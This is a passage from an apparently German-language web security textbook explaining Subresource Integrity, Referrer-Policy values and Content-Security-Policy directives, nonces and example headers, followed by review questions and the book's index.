berechnet der Webbrowser den Hashwert der empfangenen Resource und ver-
gleicht diesen mit dem konfigurierten Hashwert (innerhalb der Webseite). Die
Resource wird nur verwendet, wenn diese Hashwerte ident sind.
Ein Beispiel:

<script src="[Link]
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx c
,→ 4JwY8wC"
crossorigin="anonymous">
</script>

Mittels CSP kann die Verwendung von Subresource Integrity erzwungen


werden, folgendes Beispiel erzwingt die Angabe von Hashsummen für alle in-
kludierte JavaScript- und CSS-Dateien.

Content-Security-Policy: require-sri-for script style;


13.2. REFERRER-POLICY 169

13.2 Referrer-Policy
Ein Standard-Header der von Webbrowsern gesetzt wird ist der Referer -Header.
Dieser inkludiert bei jedem Seitenaufruf die URL der aufrufenden Seite. Dies
kann einen negativen Security-Impact haben, falls die URL der aufrufenden
Seite sensible Informationen (wie z.B. eine Session-Id oder auch sensible Be-
nutzerdaten) beinhaltet. Potentiell wird der Header vom Empfangsserver und,
bei unverschlüsselter Kommunikation, von allen verbundenen Geräten entlang
des Kommunikationspfades gesehen.
Web-Server können das gewünschte Verhalten durch Verwendung des Hea-
ders Referrer-Policy 1 mitteilen, valide Werte sind:

no-referrer : der Referer-Header wird nicht übertragen.

no-referrer-when-downgrad : die URL wird als Referer übertragen sofern


die Folgeseite nicht ein unsichereres Protokoll verwendet. Dadurch wird
z.B. eine Übertragung der URL beim Übergang von HTTPS zu HTTP
verboten. Dies ist häufig das Default-Verhalten der Webbrowser.

origin : es wird immer nur der Origin übertragen.

origin-when-cross-origin : es wird die volle URL übertragen, sofern man


sich innerhalb des identen Origins befindet. Falls es zu einem Origin-
Wechsel kommt (z.B. durch Navigation auf eine externe Seite) wird nur
der Origin übertragen.

same-origin : solange man sich innerhalb des Origins befindet, wird die URL
gesetzt, ansonsten wird kein Referer-Header versendet.

strict-origin : es wird immer nur der Origin als Referer versendet, und dies
auch nur falls das Sicherheitslevel ident ist (es wird also beim Übergang
von einer HTTPS auf eine HTTP Seite kein Referer gesetzt).

strict-origin-when-cross-origin : es wird die volle URL innerhalb des iden-


ten Origin verwendet, wird auf Webseiten mit unterschiedlichen Origin
zugegriffen (also z.B. beim Übergang auf externe Webseiten) wird nur
der Origin als Referer verwendet. Falls die Sicherheit der Kommunika-
tion schlechter wird (also z.B. beim Übergang von HTTPS auf HTTP)
wird überhaupt kein Referer-Header versendet.
1
Achtung: während der Header aufgrund eines Rechtschreibfehlers Referer heißt, heißt
der Policy Header Referrer-Policy.
170 KAPITEL 13. CLIENTSEITIGE SCHUTZMASSNAHMEN

unsafe-url : die gesamte URL wird im Referrer-Header immer übertragen.

Es wird empfohlen, eine Referrer-Policy zu wählen, die nicht no-referrer-


when-downgrade bzw. unsafe-url ist.

13.3 Content-Security-Policy
Die Content-Security-Policy (CSP) erlaubt es, eine umfangreiche Policy von
Webservern an Browser zu übertragen. Prinzipiell sind mittels einer CSP viele
der bereits erwähnten Security-Header abbildbar.
Die Content-Security-Policy kann entweder als HTTP-Header oder als Teil
des HTML-Dokuments übertragen werden. Der verwendete HTTP Header
heißt Content-Security-Policy, bei Verwendung eines Meta-Tags würde der
Code beispielsweise folgenderweise aussehen:

<meta http-equiv="Content-Security-Policy" content="default-src 'self';


,→ img-src [Link] child-src 'none';">

Die grundlegende Funktionalität von CSP ist:

ˆ Definition von vertrauenswürdigem Javascript bzw. Javascript-Sourcen

ˆ Sicherstellen, dass Seitenelemente (CSS, Bilder, etc.) nur aus vertrau-


enswürden Quellen bezogen werden.

ˆ Definition der Interaktion mit externen Seiten (z.B. mittels iFrames)

ˆ Sonstiges: Erhöhung der Verbindungssicherheit, etc.

13.3.1 Trennung von HTML und JavaScript-Code


Mittels CSP wird zumeist definiert aus welchen Quellen Javascript-Code gela-
den werden darf. Damit dadurch ein gutes Sicherheitsniveau erreicht werden
kann, ist eine Trennung vom JavaScript-Code von den verwendeten HTML-
Dateien notwendig. Falls Javascript innerhalb von HTML Dateien erlaubt ist,
kann schwer unterschieden werden ob vorgefundener JavaScript-Code von der
Applikation vorgesehen oder durch einen Angreifer eingeschleust worden ist.
Diese Trennung wird erreicht, wenn der gesamte JavaScript-Code in ge-
trennten JS-Dateien bereitgestellt wird. Dieser wird in die HTML-Seite mittels
einem script-Tag eingebunden:
13.3. CONTENT-SECURITY-POLICY 171

<script src="[Link]"></script>

In [Link] wird nun der JavaScript-Code hinterlegt. Da a-priori keine


Verbindung zwischen dem JavaScript-Code und dem HTML-File besteht, wird
zumeist der $(document).ready-Callback verwendet. Code in diesem Callback
wird ausgeführt, sobald das DOM fertig geladen wurde:

$(document).ready(function() {
// binden des JavaScript-Codes an etwaige Elemente
[Link]("btn").addEventListener('click',
,→ doSomething);

// other Javascript code


});

Bei diesem Beispiel wird nun durch die Methode addEventListener die
JavaScript-Methode doSomething beim Klicken auf den Button mit der Id
btn aufgerufen.

13.3.2 Verfügbare CSP-Elemente


CSP besteht aus mehreren Direktiven, die Tabelle 13.1 gibt eine kurze Übersicht
der Möglichkeiten. Alle Direktiven die mit -src enden erlauben die Verwen-
dung ähnlicher Source-Werte, Tabelle 13.2 gibt ein paar Beispiele. Durch die
Verwendung von “unsafe-inline” wird die Trennung zwischen HTML und Ja-
vaScript nicht mehr erzwungen und daher der Großteils des XSS-Schutzes
neutralisiert. Diese Direktive sollte daher soweit wie möglich vermieden wer-
den.

13.3.3 CSP-Nonces
CSP-Nonces erlauben die Integration von CSP ohne die gesamte Web-Applikation
nach dem Grundsatz der strikten Trennung von JavaScript und HTML entwi-
ckelt zu haben. Dieses System basiert darauf, dass innerhalb des CSP-Headers
eine Nonce (zufällige einmalige Zahl) definiert wird und innerhalb der HTML
Datei nur Script- und Style-Elemente nur exekutiert werden, wenn diese einen
identen Wert als nonce-Attribut gesetzt haben.
Wird zum Beispiel folgender CSP-Header verwendet:

Content-Security-Policy: script-src 'nonce-2726c7f26c'


172 KAPITEL 13. CLIENTSEITIGE SCHUTZMASSNAHMEN

Name Beschreibung
default-src definiert die default Policy zum Laden von remote Elemen-
ten für die meisten Elemente.
script-src definiert vertrauenswürde Quellen für geladene JavaScript
Dateien.
style-src definiert vertrauenswürde Quellen für geladene CSS-
Dateien.
plugin-types object-src: definiert erlaubte Plugin Typen und deren ver-
trauenswürde Sourcen
img-src, media-src, font-src definiert vertrauenswürdige Quellen für die jeweiligen Datei-
typen
child-src (ehem. frame-src) definiert erlaubte Quellen für den Inhalt verwendeter Ifra-
mes.
sandbox aktiviert eine Sandbox für die aktuelle Resource ähnlich wie
die Sandbox eines eingebetteten Iframas. Durch Optionen
kann die Sandbox aufgeweicht werden.
connect-src Wird von JSONP, WebSockets und EventSource verwendet.
form-action welche URIs dürfen als Ziel eines Formulars dienen
reflected-xss entspricht X-XSS-Protection
frame-ancestors definiert, welche externen Seiten die Resource im Zuge eines
Iframes verwenden dürfen, entspricht ca. einem X-Frame-
Options.
referrer ähnlich wie Referrer-Header
report-uri CSP erlaubt die Angabe einer Reporting-URL. Im Fehlerfall
wird an diese URL eine detaillierte Fehlermeldung reported.
block-all-mixed-content
upgrade-insecure-requests

Tabelle 13.1: Häufig verwendete CSP-Direktiven


13.3. CONTENT-SECURITY-POLICY 173

Name Beschreibung
* erlaubt alle URIs ausgenommen data:, blob: und filesystem:
’none’ verbietet das Laden von Ressourcen.
’self’ erlaubt das Laden von Ressourcen vom eigenen Origin
data: erlaubt das Bereitstellen von Ressourcen über data (base64-
codierte Daten).
domain erlaubt das Laden von Daten von der entsprechenden Do-
main. Wildcards für Subdomains dürfen verwendet werden.
Wird der Domainname mit https:// begonnen, muss HTT-
PS beim Zugriff verwendet werden
https erzwingt das Laden von Ressourcen über HTTPS, alle Do-
mains sind erlaubt.
’unsafe-inline’ erlaubt inline Javascript als auch javascript: URIs
’unsafe-eval’ erlaubt unsichere dynamische Code-Exekution mittels eval.
’nonce-(nonce) script- oder style-Tags werden exekutiert sofern diese ein
nonce-Attribut besitzen welches ident zu dem Wert inner-
halb des CSP ist.
sha256-(hash) Erlaubt die Exekution von Skripts sofern ihr Hash dem in
der CSP angegeben Hash entsprechen.

Tabelle 13.2: Häufig verwendete CSP Source-Werte

würde das Skript nur exekutiert werden, wenn es die idente nonce (2726c7f26c)
innerhalb des script-Tags verwendet:

<script nonce="2726c7f26c">
var inline = 1;
</script>

Die Sicherheit dieses Verfahrens ist von zwei Annahmen abhängig:

1. Der Angreifer darf die nonce nicht vorherbestimmten können. Ebenso


muss bei jedem Seitenaufruf eine neue nonce generiert werden.

2. Der Angreifer darf nicht die Möglichkeit besitzen, innerhalb eines siche-
ren Skript-Aufrufs (bei dem die richtige nonce gesetzt ist) bösartigen
JavaScript-Code einzufügen.
174 KAPITEL 13. CLIENTSEITIGE SCHUTZMASSNAHMEN

13.3.4 CSP-Beispiele
Ein einfaches Beispiel, welches das Laden von Ressourcen (Javascript, CSS,
Images) nur vom eigenen Server erlaubt:

Content-Security-Policy: default-src 'self'

Folgendes Beispiel schränkt mögliche Angriffsvektoren bereits stark ein:

Content-Security-Policy:
object-src 'none';
script-src 'nonce-{random}' 'unsafe-inline' 'strict-dynamic' https: http:;
base-uri 'none';

Folgende Einstellungen werden dadurch an den Browser übermittelt:

ˆ object-src: none verhindert das Laden von Plugins wie z.B. Flash.

ˆ Die verwendete script-src Line verwendet “neues” als auch “altes” CSP
damit unterschiedliche Browserversionen sichere CSP Einstellungen be-
kommen. Die Kombination von nonce und unsafe-inline bewirkt bei
neueren Browsern, dass script-Tags nur verwendet werden, wenn die an-
gegebene Nonce bei dem Skript-Tag als Attribut hinterlegt ist. Neuere
Browser ignorieren in dem Fall unsafe-inline. Ältere Browser ignorie-
ren die Nonce, über unsafe-inline werden allerdings “normale” script-
Tags erlaubt. strict-dynamic erlaubt das Laden von remote JavaScript-
Dateien ausgehend von trusted Scripts. Moderne Browser ignorieren die
zusätzlichen Schemas (http und https), während ältere Browser die kein
strict-dynamic erkennen durch die Schemas externe JavaScript-Dateien
laden können.

ˆ base-uri: none deaktiviert das HTML base-Element welches im Zusam-


menhang mit relativen Imports verwendet werden kann, um Injection-
Angriffe durchzuführen.

13.4 Reflektionsfragen
1. Was ist HTML Subresource Integrity (SRI), wie wird diese verwendet
und gegen welche Angriffe schützt diese Maßnahme?

2. Wie werden CSP verwendet? Gib ein Beispiel für CSPs? Wie funktio-
nieren script-src nonces?
13.4. REFLEKTIONSFRAGEN 175

3. Was ist die Referrer-Policy und warum sollte diese verwendet werden?
Index

2FA, 68 Fail-Safe, 7
FIDO, 75
Angriffsfläche, 43 File-Uploads, 112
Attack Surface, 43 Forceful Browsing, 82
Authentication, 67
Authorization, 81 HSTS, 25
Alternate Channels, 82 HTML5
LocalStorage, 33
Brute Force Angriffe, 70 PostMessage, 164
WebStorage, 33
CIA-Triade, 12 WebWorker, 34
Clickjacking, 162 HTTP, 19
X-Frame-Options, 162 Information Disclosure, 23
Command Injection, 115 Methods, 20
Content-Disposition, 113 Request, 20
Content-Security-Policy, 170 Response, 23
Cookie, 26 HTTP Header
httpOnly, 27 Content-Disposition, 113
sameSite, 27 Content-Security-Policy, 170
secure, 27 Referrer-Policy, 169
Cross-Origin Resource Sharing, 31 X-Content-Type-Options, 154
CSRF-Angriffe, 158 X-XSS-Protection, 157
Cookie-Flags, 161 HTTP Request Smuggling, 138
Synchronizer Token Pattern, 159 HTTP-Header
Strict Transport Security, 25
Defense in Depth, 7
Deparation of Duties, 6 IFrame Sandbox Attribute, 167
Dependency Confusion, 50
direct object reference, 82 JavaScript, 29
JSON Web Token, 94
Fail-Open, 7 JSONP, 32

177
178 INDEX

JWT, 94 Security by Default, 8


Security by Design, 8
Keep It Simple Stupid, 8 Security by Obscurity, 7
Key-Derivation Function, 44 Security Misconfiguration, 4
KISS, 8 Serilization Attacks, 132
LDAP-Injections, 126 Java, 133
Least Privilege, 5 JavaScript, 134
Login- und Logout, 68 Ruby on Rails, 134
Brute Force Angriffe, 70 Server-Side Template Injection, 141
Sperren von Accounts, 71 Session, 26
User Enumeration, 69 Single-Sign On, 99
SQL, 117
Mass-Assignments, 84 SQL-Injection, 116
Minimalprinzip, 3 Boolean blind SQLi, 120
Model-View-Controller, 39 Database Break Out, 122
Multi-Faktoren-Authentication, 68 Error-based Injections, 121
MVC, 39 NoSQL, 125
Object-Relational Mapping, 124
NoSQL, 125
Stacked Queries, 118
OAuth2, 100 time-based blind SQLi, 120
Access-Token, 102 Union-based SQLi, 119
Refresh-Token, 102 SRI, 168
OIDC, 102 SSO, 99
OpenID Connect, 102 Stored Procedures, 124
ORM, 124 Subresource Integrity, 168
Supply-Chain Attacks, 49
Passwörter, 71
Qualität, 72 Threat Modeling, 13
Vergessen Funktion, 72 Time of Check, Time of Use (TOC-
Path Traversals, 114 TOU), 85
Perfect Forward Secrecy, 25 TLS, 24
Prepared Statements, 122 HSTS, 25
Perfect Forward Secrecy, 25
Referrer-Policy, 169
TOTP, 74
REST, 22
Transport Level Security, 24
Reverse Tab Nabbing, 163
Type-Juggling Attacks, 127
Same-Origin-Policy, 30 Typo-Squatting, 50
SAML2, 103
Schützenswertes Gut, 12 UI Redress Attacks, 162
INDEX 179

Unverified Forwards and Redirects,


161
User Enumeration, 69

WebAssembly, 33
WebSocket, 32
Probleme bei Authorization, 82
Verbindungssicherheit, 26

X-Frame-Options, 162
X-XSS-Protection, 157
XML, 129
XML External Entitites, 129
Denial-of-Service Attacks, 131
xss, 147
dom-based, 153
dom-based xss, 149
mxss, 149
persistent xss, 149
reflected xss, 148
uxss, 149

Zwei-Faktoren-Authentication, 68

Das könnte Ihnen auch gefallen